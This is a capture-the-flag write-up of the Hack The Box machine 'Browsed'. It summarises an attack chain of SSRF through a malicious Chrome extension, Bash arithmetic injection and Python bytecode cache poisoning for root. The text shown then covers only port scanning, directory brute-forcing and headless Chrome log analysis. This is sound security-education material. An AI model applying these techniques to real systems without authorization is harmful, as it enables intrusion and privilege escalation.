Browsed

Browsed is a Linux box hosting a browser extension repository where uploaded extensions are tested in a headless Chrome instance. I’ll analyze the Chrome debug logs to discover an internal Gitea instance and a Python Flask app running on localhost. By crafting a malicious Chrome extension with a background service worker, I’ll perform SSRF to reach the internal Flask app and exploit a Bash arithmetic evaluation injection in a shell script to get remote code execution. For root, I’ll abuse a world-writable pycache directory to poison a Python bytecode file imported by a sudo-allowed script, getting code execution as root.

Box Info

Medium
Release Date 10 Jan 2026
Retire Date 28 Mar 2026
OS Linux Linux
Rated Difficulty Rated difficulty for Browsed
Radar Graph Radar chart for Browsed
User
00:12:36anon8711
Root
Creator Tensho

Recon

Initial Scanning

nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ sudo nmap -p- -vvv --min-rate 10000 10.129.3.225
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-09 17:42 UTC
...[snip]...
Nmap scan report for 10.129.3.225
Host is up, received echo-reply ttl 63 (0.022s latency).
Scanned at 2026-03-09 17:42:04 UTC for 6s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 6.58 seconds
           Raw packets sent: 65548 (2.884MB) | Rcvd: 65536 (2.621MB)
oxdf@hacky$ sudo nmap -p 22,80 -sCV 10.129.3.225
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-09 17:42 UTC
Nmap scan report for 10.129.3.225
Host is up (0.022s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_  256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Browsed
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.42 seconds

Based on the OpenSSH and nginx versions, the host is likely running Ubuntu 24.04 noble LTS.

Both of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.

Website - TCP 80

Site

The site is a browser extension repository / store:

image-20260309134708991 expand

The links on the page all go to anchor points on the same page, other than the top three in the menu bar. “Home” points at /index.html, which is the same main page. “Samples” goes to /samples.html:

image-20260309134820644

Each of these downloads a Zip archive.

“Upload Extension” goes to /upload.php, which presents a form to upload Chrome extensions:

image-20260309134930206 expand

If I take one of the examples and upload it, the page hangs for ~10 seconds, and then output shows up:

image-20260309135045860

I’ll go into this output shortly.

Tech Stack

The HTTP response headers just show nginx:

HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Date: Mon, 09 Mar 2026 17:44:28 GMT
Content-Type: text/html
Last-Modified: Sun, 17 Aug 2025 14:53:03 GMT
Connection: keep-alive
ETag: W/"68a1eccf-1a34"
Content-Length: 6708

The 404 page is the default nginx 404:

image-20260309163322483

Directory Brute Force

I’ll run feroxbuster against the site, and include -x php since I know the site is using paths ending in .php:

oxdf@hacky$ feroxbuster -u http://10.129.3.225 -x php

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.129.3.225
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        7l       12w      178c http://10.129.3.225/images => http://10.129.3.225/images/
200      GET        2l       87w     2439c http://10.129.3.225/assets/js/breakpoints.min.js
200      GET      250l      481w     4836c http://10.129.3.225/assets/js/main.js
200      GET        2l       23w      831c http://10.129.3.225/assets/js/jquery.scrolly.min.js
200      GET       80l      153w     4673c http://10.129.3.225/images/pic01.jpg
200      GET      165l      599w     6708c http://10.129.3.225/index.html
200      GET       15l       34w      256c http://10.129.3.225/assets/css/noscript.css
200      GET        2l       37w     2257c http://10.129.3.225/assets/js/jquery.scrollex.min.js
200      GET      587l     1232w    12433c http://10.129.3.225/assets/js/util.js
200      GET       85l      366w     4641c http://10.129.3.225/samples.html
200      GET        2l       39w     5106c http://10.129.3.225/assets/js/jquery.dropotron.min.js
200      GET        2l       52w     2051c http://10.129.3.225/assets/js/browser.min.js
200      GET      170l      482w     6979c http://10.129.3.225/upload.php
200      GET      511l     2728w    53983c http://10.129.3.225/images/pic03.jpg
301      GET        7l       12w      178c http://10.129.3.225/assets => http://10.129.3.225/assets/
200      GET      573l     2289w    41204c http://10.129.3.225/images/pic02.jpg
200      GET        2l     1294w    89501c http://10.129.3.225/assets/js/jquery.min.js
200      GET     4111l     7901w    73447c http://10.129.3.225/assets/css/main.css
200      GET      165l      599w     6708c http://10.129.3.225/
301      GET        7l       12w      178c http://10.129.3.225/assets/css => http://10.129.3.225/assets/css/
301      GET        7l       12w      178c http://10.129.3.225/assets/js => http://10.129.3.225/assets/js/
403      GET        7l       10w      162c http://10.129.3.225/assets/
403      GET        7l       10w      162c http://10.129.3.225/assets/js/
403      GET        7l       10w      162c http://10.129.3.225/assets/css/
301      GET        7l       12w      178c http://10.129.3.225/assets/css/images => http://10.129.3.225/assets/css/images/
301      GET        7l       12w      178c http://10.129.3.225/assets/css/images/ie => http://10.129.3.225/assets/css/images/ie/
[####################] - 43s   180022/180022  0s      found:26      errors:0
[####################] - 42s    30000/30000   708/s   http://10.129.3.225/
[####################] - 42s    30000/30000   716/s   http://10.129.3.225/images/
[####################] - 42s    30000/30000   711/s   http://10.129.3.225/assets/css/
[####################] - 42s    30000/30000   710/s   http://10.129.3.225/assets/
[####################] - 42s    30000/30000   713/s   http://10.129.3.225/assets/js/
[####################] - 42s    30000/30000   715/s   http://10.129.3.225/assets/css/images/ 

Nothing interesting.

Chrome Log Analysis

When I upload one of the sample extensions, it generates a lot of logs. The logs are very long:

[2385:2385:0309/174906.077891:VERBOSE1:chrome_crash_reporter_client.cc(182)] GetCollectStatsConsent(): is_official_chrome_build is false so returning false
[2385:2385:0309/174906.224137:VERBOSE1:chrome_crash_reporter_client.cc(182)] GetCollectStatsConsent(): is_official_chrome_build is false so returning false
[2392:2392:0309/174906.456205:VERBOSE1:cdm_registration.cc(234)] Choosing hinted Widevine 4.10.2891.0 from /opt/chrome-linux64/WidevineCdm/_platform_specific/linux_x64/libwidevinecdm.so
[2393:2393:0309/174906.456231:VERBOSE1:cdm_registration.cc(234)] Choosing hinted Widevine 4.10.2891.0 from /opt/chrome-linux64/WidevineCdm/_platform_specific/linux_x64/libwidevinecdm.so
[2392:2392:0309/174906.501032:INFO:cpu_info.cc(53)] Available number of cores: 2
[2393:2393:0309/174906.501043:INFO:cpu_info.cc(53)] Available number of cores: 2
[2392:2392:0309/174906.508565:VERBOSE1:zygote_main_linux.cc(201)] ZygoteMain: initializing 0 fork delegates
[2393:2393:0309/174906.508525:VERBOSE1:zygote_main_linux.cc(201)] ZygoteMain: initializing 0 fork delegates
[2385:2385:0309/174906.636694:VERBOSE1:config_dir_policy_loader.cc(121)] Skipping mandatory platform policies because no policy file was found at: /etc/opt/chrome_for_testing/policies/managed
[2385:2385:0309/174906.636841:VERBOSE1:config_dir_policy_loader.cc(121)] Skipping recommended platform policies because no policy file was found at: /etc/opt/chrome_for_testing/policies/recommended
[2385:2385:0309/174906.697118:VERBOSE1:variations_field_trial_creator_base.cc(539)] Applying FieldTrialTestingConfig
[2385:2385:0309/174906.718849:VERBOSE1:variations_field_trial_creator_base.cc(357)] VariationsSetupComplete
[2385:2385:0309/174906.741775:WARNING:display_server_utils.cc(100)] This is not a Wayland session. Falling back to X11. If you need to run Chrome on Wayland using some embedded compositor, e.g. Weston, please specify Wayland as your preferred Ozone platform, or use --ozone-platform=wayland.
[2385:2400:0309/174906.814383:VERBOSE1:bus.cc(917)] Method call: message_type: MESSAGE_METHOD_CALL
interface: org.freedesktop.DBus
member: GetNameOwner
signature: s

string "org.freedesktop.login1"

[2385:2403:0309/174906.887083:VERBOSE1:bus.cc(917)] Method call: message_type: MESSAGE_METHOD_CALL
interface: org.freedesktop.DBus
member: GetNameOwner
signature: s

string "org.chromium.bluetooth.Manager"

[2385:2385:0309/174906.920785:VERBOSE1:webrtc_event_log_manager.cc(96)] WebRTC remote-bound event logging enabled.
[2385:2385:0309/174906.944095:VERBOSE1:pref_proxy_config_tracker_impl.cc(199)] 0x1144000c4580: set chrome proxy config service to 0x1144000d49c0
[2385:2385:0309/174907.050288:VERBOSE1:device_event_log_impl.cc(204)] [17:49:06.984] Display: EVENT: x11_display_manager.cc:110 Displays updated, count: 1
[2385:2385:0309/174907.050417:VERBOSE1:device_event_log_impl.cc(204)] [17:49:07.050] Display: EVENT: x11_display_manager.cc:112 Display[60] bounds=[0,0 1280x1024], workarea=[0,0 1280x1024], scale=1, rotation=0, panel_rotation=0 external detected
[2385:2385:0309/174907.062074:VERBOSE1:cdm_registration.cc(234)] Choosing hinted Widevine 4.10.2891.0 from /opt/chrome-linux64/WidevineCdm/_platform_specific/linux_x64/libwidevinecdm.so
[2385:2400:0309/174907.075372:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2385:2400:0309/174907.075449:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2385:2400:0309/174907.077373:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2385:2400:0309/174907.077406:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2385:2401:0309/174907.146725:VERBOSE1:media_stream_manager.cc(1501)] MSM::InitializeMaybeAsync([this=0x114400130f00])
[2385:2401:0309/174907.146792:VERBOSE1:media_stream_manager.cc(1501)] MDM::MediaDevicesManager()
[2385:2401:0309/174907.149128:VERBOSE1:media_stream_manager.cc(1501)] MSM::MediaStreamManager([this=0x114400130f00]))
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
[2385:2396:0309/174908.331999:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.config/google-chrome-for-testing/Consent To Send Stats": No such file or directory (2)
[2385:2385:0309/174908.360719:VERBOSE1:key_storage_util_linux.cc(46)] Password storage detected desktop environment: (unknown)
[2385:2385:0309/174908.360758:VERBOSE1:key_storage_linux.cc(116)] Selected backend for OSCrypt: BASIC_TEXT
[2385:2385:0309/174908.360868:VERBOSE1:key_storage_linux.cc(135)] OSCrypt did not initialize a backend.
[2385:2400:0309/174908.361568:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2385:2385:0309/174908.366999:VERBOSE1:chrome_browser_cloud_management_controller.cc(161)] Cloud management controller initialization aborted as CBCM is not enabled. Please use the `--enable-chrome-browser-cloud-management` command line flag to enable it if you are not using the official Google Chrome build.
[2385:2406:0309/174908.532088:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.config/google-chrome-for-testing/Default/Web Applications/Logs/WebAppInstallManager.log": No such file or directory (2)
[2385:2400:0309/174908.533546:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2385:2385:0309/174908.539227:VERBOSE1:pref_proxy_config_tracker_impl.cc(199)] 0x1144000c4000: set chrome proxy config service to 0x1144000d7c20
[2385:2385:0309/174908.544550:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(310)] MutablePO2TS::MutablePO2TS
[2385:2406:0309/174908.562425:ERROR:simple_backend_impl.cc(79)] Failed to create directory: /var/www/.cache/google-chrome-for-testing/Default/Code Cache/wasm
[2385:2397:0309/174908.564108:ERROR:simple_backend_impl.cc(79)] Failed to create directory: /var/www/.cache/google-chrome-for-testing/Default/Code Cache/js
[2385:2406:0309/174908.565482:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Code Cache/wasm/index": No such file or directory (2)
[2385:2385:0309/174908.565809:VERBOSE1:pref_proxy_config_tracker_impl.cc(199)] 0x1144000c6c00: set chrome proxy config service to 0x1144000d97c0
[2385:2397:0309/174908.565985:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Code Cache/js/index": No such file or directory (2)
[2385:2397:0309/174908.566224:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Code Cache/js/index-dir": No such file or directory (2)
[2385:2385:0309/174908.566371:VERBOSE1:device_event_log_impl.cc(204)] [17:49:08.566] Bluetooth: EVENT: bluetooth_api.cc:82 BluetoothAPI: 0x114400125800
[2385:2406:0309/174908.566744:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Code Cache/wasm/index-dir": No such file or directory (2)
[2385:2406:0309/174908.566784:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Code Cache/wasm/the-real-index": No such file or directory (2)
[2385:2406:0309/174908.566979:ERROR:simple_backend_impl.cc(79)] Failed to create directory: /var/www/.cache/google-chrome-for-testing/Default/Code Cache/wasm
[2385:2406:0309/174908.567001:ERROR:simple_backend_impl.cc(747)] Simple Cache Backend: wrong file structure on disk: 1 path: /var/www/.cache/google-chrome-for-testing/Default/Code Cache/wasm
[2385:2397:0309/174908.566256:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Code Cache/js/the-real-index": No such file or directory (2)
[2385:2397:0309/174908.571430:ERROR:simple_backend_impl.cc(79)] Failed to create directory: /var/www/.cache/google-chrome-for-testing/Default/Code Cache/js
[2385:2397:0309/174908.571500:ERROR:simple_backend_impl.cc(747)] Simple Cache Backend: wrong file structure on disk: 1 path: /var/www/.cache/google-chrome-for-testing/Default/Code Cache/js
[2385:2429:0309/174908.572356:ERROR:disk_cache.cc(216)] Unable to create cache
[2385:2429:0309/174908.573437:ERROR:disk_cache.cc(216)] Unable to create cache
[2385:2385:0309/174908.583850:VERBOSE1:gaia_auth_util.cc(55)] Canonicalized @gmail.com to @gmail.com
[2385:2385:0309/174908.583948:VERBOSE1:gaia_auth_util.cc(55)] Canonicalized @gmail.com to @gmail.com
[2385:2385:0309/174908.593895:VERBOSE1:bluetooth_low_energy_event_router.cc(291)] Initializing BluetoothLowEnergyEventRouter.
[2385:2385:0309/174908.608104:VERBOSE1:gaia_auth_util.cc(55)] Canonicalized @gmail.com to @gmail.com
[2385:2385:0309/174908.608133:VERBOSE1:gaia_auth_util.cc(55)] Canonicalized @gmail.com to @gmail.com
[2385:2385:0309/174908.608277:VERBOSE1:account_reconcilor.cc(181)] AccountReconcilor::AccountReconcilor
[2385:2385:0309/174908.608296:VERBOSE1:account_reconcilor.cc(219)] AccountReconcilor::Initialize
[2385:2385:0309/174908.608417:VERBOSE1:account_reconcilor.cc(273)] AccountReconcilor::RegisterWithContentSettings
[2385:2385:0309/174908.608720:VERBOSE1:account_reconcilor.cc(296)] AccountReconcilor::RegisterWithIdentityManager
[2385:2385:0309/174908.667730:VERBOSE1:cached_result_provider.cc(54)] CachedResultProvider loaded prefs with results from previous session: PredictionResult: timestamp: 13399907498883586 result 0: 0 for segmentation key shopping_user
[2385:2385:0309/174908.720858:VERBOSE1:extension_service.cc(1438)] AddComponentExtension Web Store
[2385:2385:0309/174908.736501:VERBOSE1:extension_service.cc(1438)] AddComponentExtension Chromium PDF Viewer
[2385:2385:0309/174908.746864:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/tmp/extension_69af0810d42183.82114524/_metadata/verified_contents.json": No such file or directory (2)
[2385:2385:0309/174908.746937:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/tmp/extension_69af0810d42183.82114524/_metadata/computed_hashes.json": No such file or directory (2)
[2385:2385:0309/174908.746970:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/tmp/extension_69af0810d42183.82114524/_metadata/generated_indexed_rulesets": No such file or directory (2)
[2385:2385:0309/174908.747028:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/tmp/extension_69af0810d42183.82114524/_metadata": No such file or directory (2)
[2385:2385:0309/174908.781097:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2385:2385:0309/174908.781141:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2385:2385:0309/174908.781449:VERBOSE1:profile_manager.cc(1921)] ForceSigninCheck: 0, 0, 1
[2385:2397:0309/174908.785439:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.config/google-chrome-for-testing/Default/Policy/User Policy": No such file or directory (2)
[2385:2397:0309/174908.785506:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.config/google-chrome-for-testing/Default/Policy/Signing Key": No such file or directory (2)

DevTools listening on ws://127.0.0.1:35435/devtools/browser/f9ca757b-3f14-4a45-987a-0a1afdf851a8
[2385:2396:0309/174908.793692:VERBOSE1:component_installer.cc(481)] StartRegistration for Widevine Content Decryption Module
[2385:2396:0309/174908.794053:VERBOSE1:component_installer.cc(316)] Preinstalled component found for Widevine Content Decryption Module at /opt/chrome-linux64/WidevineCdm with version 4.10.2891.0.
[2385:2396:0309/174908.794295:VERBOSE1:component_installer.cc(481)] StartRegistration for Subresource Filter Rules
[2385:2385:0309/174908.799833:VERBOSE1:on_device_head_suggest_component_installer.cc(61)] On Device Head Component will fetch model for locale: ENUS500000
[2385:2385:0309/174908.800133:VERBOSE1:trust_token_key_commitments_component_installer.cc(23)] Registering Trust Token Key Commitments component.
[2385:2396:0309/174908.800442:VERBOSE1:component_installer.cc(481)] StartRegistration for OnDeviceHeadSuggest
[2385:2397:0309/174908.800745:VERBOSE1:component_installer.cc(481)] StartRegistration for Optimization Hints
[2385:2398:0309/174908.800827:VERBOSE1:component_installer.cc(481)] StartRegistration for Trust Token Key Commitments
[2385:2385:0309/174908.802887:VERBOSE1:first_party_sets_component_installer.cc(39)] Registering Related Website Sets component.
[2385:2385:0309/174908.802954:VERBOSE1:masked_domain_list_component_installer.cc(24)] Registering Masked Domain List component.
[2385:2385:0309/174908.803102:VERBOSE1:privacy_sandbox_attestations_component_installer.cc(181)] Registering Privacy Sandbox Attestations component
[2385:2396:0309/174908.803221:VERBOSE1:component_installer.cc(481)] StartRegistration for Masked Domain List
[2385:2398:0309/174908.803379:VERBOSE1:component_installer.cc(481)] StartRegistration for Privacy Sandbox Attestations
[2385:2385:0309/174908.803475:VERBOSE1:afp_blocked_domain_list_component_installer.cc(180)] Registering Anti-Fingerprinting Blocked Domain List Component.
[2385:2385:0309/174908.803632:VERBOSE1:file_type_policies_component_installer.cc(128)] Registering File Type Policies component.
[2385:2406:0309/174908.804256:VERBOSE1:component_installer.cc(481)] StartRegistration for History Search
[2385:2405:0309/174908.804543:VERBOSE1:component_installer.cc(481)] StartRegistration for Certificate Error Assistant
[2385:2407:0309/174908.804944:VERBOSE1:component_installer.cc(481)] StartRegistration for File Type Policies
[2385:2408:0309/174908.805237:VERBOSE1:component_installer.cc(481)] StartRegistration for CRLSet
[2385:2397:0309/174908.805613:VERBOSE1:component_installer.cc(481)] StartRegistration for Fingerprinting Protection Filter Rules
[2385:2409:0309/174908.805485:VERBOSE1:component_installer.cc(481)] StartRegistration for Origin Trials
[2385:2431:0309/174908.806070:VERBOSE1:component_installer.cc(481)] StartRegistration for MEI Preload
[2385:2405:0309/174908.806822:VERBOSE1:component_installer.cc(481)] StartRegistration for PKI Metadata
[2385:2385:0309/174908.807315:VERBOSE1:hyphenation_component_installer.cc(151)] Registering Hyphenation component.
[2385:2409:0309/174908.807341:VERBOSE1:component_installer.cc(481)] StartRegistration for Safety Tips
[2385:2434:0309/174908.807407:VERBOSE1:component_installer.cc(481)] StartRegistration for Crowd Deny
[2385:2398:0309/174908.808018:VERBOSE1:component_installer.cc(316)] Preinstalled component found for Privacy Sandbox Attestations at /opt/chrome-linux64/PrivacySandboxAttestationsPreloaded with version 2025.1.31.0.
[2385:2406:0309/174908.808240:VERBOSE1:component_installer.cc(481)] StartRegistration for Hyphenation
[2385:2398:0309/174908.809857:VERBOSE1:component_installer.cc(481)] StartRegistration for Zxcvbn Data Dictionaries
[2385:2397:0309/174908.810243:VERBOSE1:component_installer.cc(481)] StartRegistration for Autofill States Data
[2385:2431:0309/174908.810805:VERBOSE1:component_installer.cc(316)] Preinstalled component found for MEI Preload at /opt/chrome-linux64/MEIPreload with version 1.0.7.1652906823.
[2385:2406:0309/174908.812916:VERBOSE1:component_installer.cc(316)] Preinstalled component found for Hyphenation at /opt/chrome-linux64/hyphen-data with version 1.0.0.0.
[2385:2385:0309/174908.816729:VERBOSE1:tpcd_metadata_component_installer.cc(23)] Third Party Cookie Deprecation Metadata component.
[2385:2385:0309/174908.816821:VERBOSE1:translate_kit_component_installer.cc(160)] Registering TranslateKit component.
[2385:2385:0309/174908.816901:VERBOSE1:open_cookie_database_component_installer.cc(23)] Registering Open Cookie Database component.
[2385:2385:0309/174908.817023:VERBOSE1:cookie_readiness_list_component_installer.cc(24)] Registering Cookie Readiness List component.
[2385:2396:0309/174908.817830:VERBOSE1:component_installer.cc(481)] StartRegistration for Third-Party Cookie Deprecation Metadata
[2385:2405:0309/174908.818137:VERBOSE1:component_installer.cc(481)] StartRegistration for Plus Address Blocklist
[2385:2398:0309/174908.818265:VERBOSE1:component_installer.cc(481)] StartRegistration for Open Cookie Database
[2385:2406:0309/174908.818483:VERBOSE1:component_installer.cc(481)] StartRegistration for Cookie Readiness List
[2385:2397:0309/174908.818706:VERBOSE1:component_installer.cc(481)] StartRegistration for Amount Extraction Heuristic Regexes
[2413:2413:0309/174908.833715:VERBOSE1:va_stubs.cc(663)] dlopen(libva.so.2) failed.
[2385:2396:0309/174908.834964:VERBOSE1:command_storage_backend.cc(608)] CommandStorageBackend::ReadLastSessionCommands, reading commands from: /var/www/.config/google-chrome-for-testing/Default/Sessions/Session_13399919510846880
[2413:2413:0309/174908.834124:VERBOSE1:va_stubs.cc(665)] dlerror() says:
libva.so.2: cannot open shared object file: No such file or directory
[2385:2397:0309/174908.835954:VERBOSE1:command_storage_backend.cc(608)] CommandStorageBackend::ReadLastSessionCommands, reading commands from: /var/www/.config/google-chrome-for-testing/Default/Sessions/Tabs_13399919511055706
[2413:2413:0309/174908.837085:VERBOSE1:vaapi_wrapper.cc(1556)] GetHandle(): Either VADisplayStateSingleton::PreSandboxInitialization() hasn't been called or that method failed to find a suitable render node
[2385:2385:0309/174908.838070:VERBOSE1:profile_manager.cc(1272)] AddKeepAlive(Default, kBrowserWindow). keep_alives=[kWaitingForFirstBrowserWindow (1), kBrowserWindow (1)]
[2385:2385:0309/174908.838912:VERBOSE1:profile_manager.cc(1350)] ClearFirstBrowserWindowKeepAlive(Default). keep_alives=[kBrowserWindow (1)]
[2413:2413:0309/174908.839376:WARNING:gpu_memory_buffer_support_x11.cc(49)] dri3 extension not supported.
[2413:2413:0309/174908.846037:WARNING:sandbox_linux.cc(420)] InitializeSandbox() called with multiple threads in process gpu-process.
[2413:2413:0309/174908.850235:WARNING:viz_main_impl.cc(85)] VizNullHypothesis is disabled (not a warning)
[2385:2400:0309/174908.965941:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2385:2400:0309/174908.965999:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2385:2396:0309/174909.117139:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2385:2385:0309/174909.261456:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2385:2385:0309/174909.329431:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2385:2385:0309/174909.330168:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2385:2385:0309/174909.346557:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2385:2400:0309/174909.348408:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2385:2385:0309/174909.349388:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2415:2420:0309/174909.355550:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://clients2.google.com/time/1/current?cup2key=8:JX33jNjpBpjoq9T1tCczcqLJ8zcvmi5RAhKnzLTxOmo&cup2hreq=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
[2415:2420:0309/174909.381820:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/
[2415:2420:0309/174909.382513:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/
[2415:2420:0309/174909.382796:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard
[2385:2385:0309/174909.406467:VERBOSE1:component_installer.cc(560)] FinishRegistration for Widevine Content Decryption Module
[2385:2385:0309/174909.406529:VERBOSE1:component_updater_service.cc(165)] CrxUpdateService starting up. First update attempt will take place in 60 s seconds. Next update attempt will take place in 18000 s seconds. 
[2385:2385:0309/174909.406553:VERBOSE1:component_installer.cc(601)] Component ready, version 4.10.2891.0 in /opt/chrome-linux64/WidevineCdm
[2385:2385:0309/174909.406585:VERBOSE1:component_installer.cc(560)] FinishRegistration for Subresource Filter Rules
[2385:2385:0309/174909.406623:VERBOSE1:component_installer.cc(560)] FinishRegistration for Optimization Hints
[2385:2385:0309/174909.406649:VERBOSE1:component_installer.cc(560)] FinishRegistration for OnDeviceHeadSuggest
[2385:2385:0309/174909.406684:VERBOSE1:component_installer.cc(560)] FinishRegistration for Trust Token Key Commitments
[2385:2385:0309/174909.406709:VERBOSE1:component_installer.cc(560)] FinishRegistration for Certificate Error Assistant
[2385:2385:0309/174909.406731:VERBOSE1:component_installer.cc(560)] FinishRegistration for Origin Trials
[2385:2397:0309/174909.406742:VERBOSE1:widevine_cdm_component_installer.cc(398)] Updating hint file with Widevine CDM 4.10.2891.0
[2385:2385:0309/174909.406750:VERBOSE1:component_installer.cc(560)] FinishRegistration for History Search
[2385:2385:0309/174909.406767:VERBOSE1:component_installer.cc(560)] FinishRegistration for PKI Metadata
[2385:2385:0309/174909.406819:VERBOSE1:component_installer.cc(560)] FinishRegistration for Masked Domain List
[2385:2385:0309/174909.406856:VERBOSE1:component_installer.cc(560)] FinishRegistration for Fingerprinting Protection Filter Rules
[2385:2385:0309/174909.406898:VERBOSE1:component_installer.cc(560)] FinishRegistration for File Type Policies
[2385:2385:0309/174909.406916:VERBOSE1:component_installer.cc(560)] FinishRegistration for Crowd Deny
[2385:2385:0309/174909.406932:VERBOSE1:component_installer.cc(560)] FinishRegistration for Privacy Sandbox Attestations
[2385:2385:0309/174909.406946:VERBOSE1:component_installer.cc(601)] Component ready, version 2025.1.31.0 in /opt/chrome-linux64/PrivacySandboxAttestationsPreloaded
[2385:2385:0309/174909.406970:VERBOSE1:privacy_sandbox_attestations_component_installer.cc(111)] Privacy Sandbox Attestations Component ready, version 2025.1.31.0 in /opt/chrome-linux64/PrivacySandboxAttestationsPreloaded
[2385:2385:0309/174909.406980:VERBOSE1:privacy_sandbox_attestations_component_installer.cc(188)] Received privacy sandbox attestations file
[2385:2385:0309/174909.407000:VERBOSE1:component_installer.cc(560)] FinishRegistration for Safety Tips
[2385:2385:0309/174909.407036:VERBOSE1:component_installer.cc(560)] FinishRegistration for Zxcvbn Data Dictionaries
[2385:2385:0309/174909.407062:VERBOSE1:component_installer.cc(560)] FinishRegistration for CRLSet
[2385:2385:0309/174909.407094:VERBOSE1:component_installer.cc(560)] FinishRegistration for Autofill States Data
